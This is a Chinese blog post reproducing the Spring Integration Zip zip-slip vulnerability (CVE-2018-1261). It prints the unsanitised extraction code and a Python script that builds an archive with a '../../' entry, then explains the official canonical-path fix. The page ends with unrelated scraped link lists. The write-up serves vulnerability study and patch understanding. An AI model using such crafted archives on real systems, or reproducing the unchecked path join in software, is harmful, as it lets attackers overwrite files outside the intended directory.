Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现
不敢说分析,还是太菜了,多学习。
文章来源: 猎户安全实验室
存在漏洞的源码下载地址:https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE
代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。
用的是IDEA来复现: 终端打开到zip的文件夹,然后./gradlew idea 。直接就能直接用IDEA打开了。
漏洞地址:org/springframework/integration/zip/transformer/UnZipTransformerTests.java
这里的都是官方例子。
仿造官方例子写个测试类。
@Test
public void unzipCve() throws IOException, InterruptedException { final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zip");
final InputStream upZipFile = resource.getInputStream();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-integration-extensions-zip.v1.0.0.RELEASE/spring-integration-zip/src/test/resources/testzipdata/"));
unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY)
unZipTransformer.afterPropertiesSet(); Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build(); unZipTransformer.transform(message);//漏洞入口。
System.out.println("over");
} }
这里的zip解压要用 到../../../z.txt格式的压缩文件,用python脚本生成一个。
import zipfile if __name__ == "__main__":
try:
binary = b'ddddsss'
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
zipFile.writestr("../../dddwwtest.txt", binary)
zipFile.close()
except IOError as e:
raise e
东西都准备妥当了,开始分析漏洞吧。
漏洞入口:
unZipTransformer.transform(message);
接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。
@Override
protected Object doTransform(Message<?> message) throws Exception {
Assert.notNull(message, "message must not be null");
final Object payload = message.getPayload();
Assert.notNull(payload, "payload must not be null"); return doZipTransform(message);//往下调用doZipTransform函数
}
在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。
漏洞就出现在doZipTransform()函数。具体代码位置:
ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方 @Override
public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException { final String zipEntryName = zipEntry.getName();
final long zipEntryTime = zipEntry.getTime();
final long zipEntryCompressedSize = zipEntry.getCompressedSize();
final String type = zipEntry.isDirectory() ? "directory" : "file"; if (logger.isInfoEnabled()) {
logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
"Compressed Size: '%s', Type: '%s'",
zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
} if (ZipResultType.FILE.equals(zipResultType)) {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
final File destinationFile = new File(tempDir, zipEntryName); if (zipEntry.isDirectory()) {
destinationFile.mkdirs(); //NOSONAR false positive
}
else {
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
}
}
else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
if (!zipEntry.isDirectory()) {
byte[] data = IOUtils.toByteArray(zipEntryInputStream);
uncompressedData.put(zipEntryName, data);
}
}
else {
throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
}
}
调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。
这里的final String zipEntryName = zipEntry.getName(); //就是解压出来的文件内容,
在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。
然后下面两句代码把文件给复制过去。
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如: ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。
这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址
public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive
final File destinationFile = new File(tempDir, zipEntryName); /* If we see the relative traversal string of ".." we need to make sure
* that the outputdir + name doesn't leave the outputdir.
*/
if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
throw new ZipException("The file " + zipEntryName +
" is trying to leave the target output directory of " + workDirectory);
}
return destinationFile;
}
主要看这句话:
if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))
如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd ,
全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/ ,而workDirectory是定义的路径。
综上就是路径不能往前跳转。
这种路径检测方法还是学到了,本以为会过滤“..” 这样的字符串,直接对比两次的路径也是个好方法
Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现的更多相关文章
- ref:Spring Integration Zip 不安全解压(CVE-2018-1261)漏洞分析
ref:https://mp.weixin.qq.com/s/SJPXdZWNKypvWmL-roIE0Q 0x00 漏洞概览 漏洞名称:Spring Integration Zip不安全解压 漏洞编 ...
- liunx之zip格式的解压命令
zip -r myfile.zip ./* 将当前目录下的所有文件和文件夹全部压缩成myfile.zip文件,-r表示递归压缩子目录下所有文件. 2.unzip unzip -o -d /home/s ...
- 正确的 zip 压缩与解压代码
网上流传的zip压缩与解压 的代码有非常大的问题 尽管使用了ant进行压缩与解压,可是任务的流程还是用的java.util.zip 的方式写的,我在使用的过程中遇到了压缩的文件夹结构有误,甚至出现不同 ...
- Android之zip文件加密解压及进度条的实现
zip文件的解压能够使用java的zip库,可是没有实现对加密文件的解压功能,这里能够使用zip4j来实现.详细能够參看该文<Android下zip压缩文件加密解密的完美解决方式>.该文件 ...
- java zip 压缩与解压
java zip 压缩与解压 import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java. ...
- 文件操作工具类: 文件/目录的创建、删除、移动、复制、zip压缩与解压.
FileOperationUtils.java package com.xnl.utils; import java.io.BufferedInputStream; import java.io.Bu ...
- Linux tar.gz 、zip、rar 解压 压缩命令
tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个 ...
- 「Python实用秘技01」复杂zip文件的解压
本文完整示例代码及文件已上传至我的Github仓库https://github.com/CNFeffery/PythonPracticalSkills 这是我的新系列文章「Python实用秘技」的第1 ...
- zip压缩,解压
//引用 System.IO.Compression.FileSystem.dll var basePath = AppDomain.CurrentDomain.BaseDirectory; Syst ...
随机推荐
- VMware设置inter共享连接出现空值
1.打开“网络和共享中心”选择“VMware Virtual Ethernet Adapter for VMnet8”网卡右键属性,选择VMware Bridge Protocol,同时设置ip自动获 ...
- Educational Codeforces Round 54 E. Vasya and a Tree(树上差分数组)
https://codeforces.com/contest/1076/problem/E 题意 给一棵树(n<=3e5),m(3e5)次查询,每次查询u,d,x,表示在u的子树中,给距离u&l ...
- 新加了一块硬盘,在bios中可以看的到,在系统的磁盘管理器中看不到新加硬盘
今天新加了一块硬盘,进入bios中可以看到新加的硬盘,但是进入系统后在磁盘管理及磁盘驱动器中都看不到.并且在设备管理器下其他设备出现了ATA channel1,前面显示感叹号,如下图所示: 而且电脑变 ...
- s4-5 以太网帧
以太网所处的层次 IEEE 802.3/以太网MAC子层协议 IEEE802.3协议描述了运行在各种介质上1 Mb/s~10 Mb/s的1- 持续CSMA/CD协议的局域网标准. 很多人对以太 ...
- VSCode 设置侧边栏字体大小;Visual Studio Code改变侧边栏大小
1.代码改写,进入默认安装的如下路径 C:\Users\Administrator\AppData\Local\Programs\Microsoft VS Code\resources\app\out ...
- Calendar 得到前一天当前时间
@Test public void test(){ //因为Calendar的构造方法是私有的,所以实例化一个Calendar对象用getInstance方法 Calendar calendar = ...
- ng-show和ng-if的区别和使用场景
一.ng-show(ng-hide)和ng-if都是控制标签的显示和隐藏,为什么angularjs会定义两个指令来供我们使用呢,不多多说肯定有各自的使用场景,接下来我们看哈实际原理: ng-show实 ...
- 大文件断点上传 js+php
/* * js */ function PostFile(file, i, t) { console.log(1); var name = file.name, //文件名 size = fi ...
- Redis集群命令行部署工具
使用之前准备工作: 1)配置好与端口无关的公共redis.conf文件,和工具放在同一目录下 2)配置好与端口相关的模板redis-PORT.conf文件,也和工具放在同一目录下(部署时PORT会被替 ...
- java重定向与请求转发的区别
最近工作不算太忙,今天在这里对java中的重定向和请求转发稍作总结,希望能帮助到大家. 请求转发: request.getRequestDispatcher().forward(); 重定向: res ...